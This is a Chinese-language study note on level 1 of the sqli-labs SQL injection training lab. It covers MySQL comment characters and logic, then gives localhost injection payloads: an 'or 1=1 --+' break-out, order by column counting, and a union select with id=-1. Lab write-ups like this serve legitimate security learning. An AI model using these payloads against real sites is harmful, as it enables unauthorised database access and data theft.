sqli-labs-master 第一关

一、Mysql 登录 

1、明文密码   在bin目录下 输入：mysql -u 账户 -p 密码

2、**密码  在bin目录下 输入：mysql -u 账户 -p 后回车再输入密码 

二、注释符

--+  --  # 都是SQL语句的注释符 ，sql语句运行到此结束。

三、and or 

　　A and B A,B都Ture 结果才为Ture 

　　A or B A,B 有一个Ture 结果就为Ture

四、limit

limit m,n ：显示从m列开始 显示n行

五、“ ？id=1 ” 后加 “  ‘  ”

可以判断SQL漏洞，

例如：http://localhost/sqli-labs-master/Less-1/?id= 1‘or 1=1 --+

sql语句：SELECT * FROM users WHERE id=‘ 1‘or 1=1 -- ‘ LIMIT 0,1

六、order by

order by + n  ： 查询结果根据第n列排序

order by 可判断数据表 列数

在尝试是N值折半测试

例：http://localhost/sqli-labs-master/Less-1/?id=1‘order by 3 --+

SELECT * FROM users WHERE id=‘1‘order by 3 -- ‘ LIMIT 0,1

七、union 联合查询

在使用 order by 测试出列数后，使用 union + 数字  查看回显信息，测试回显的哪几列

错误示例：http://localhost/sqli-labs-master/Less-1/?id=1‘union select 1,2,3--+

如图，在id值正确时 由于limit 0,1只能显示一行，回显结果无法做出正确判断

正确示例：http://localhost/sqli-labs-master/Less-1/?id=-1‘union select 1,2,3--+

如图，将id值设置为-1（即不存在值），结果回显为第2、3列

sqli-labs-master 第一关

原文：https://www.cnblogs.com/yyd-sun/p/12252167.html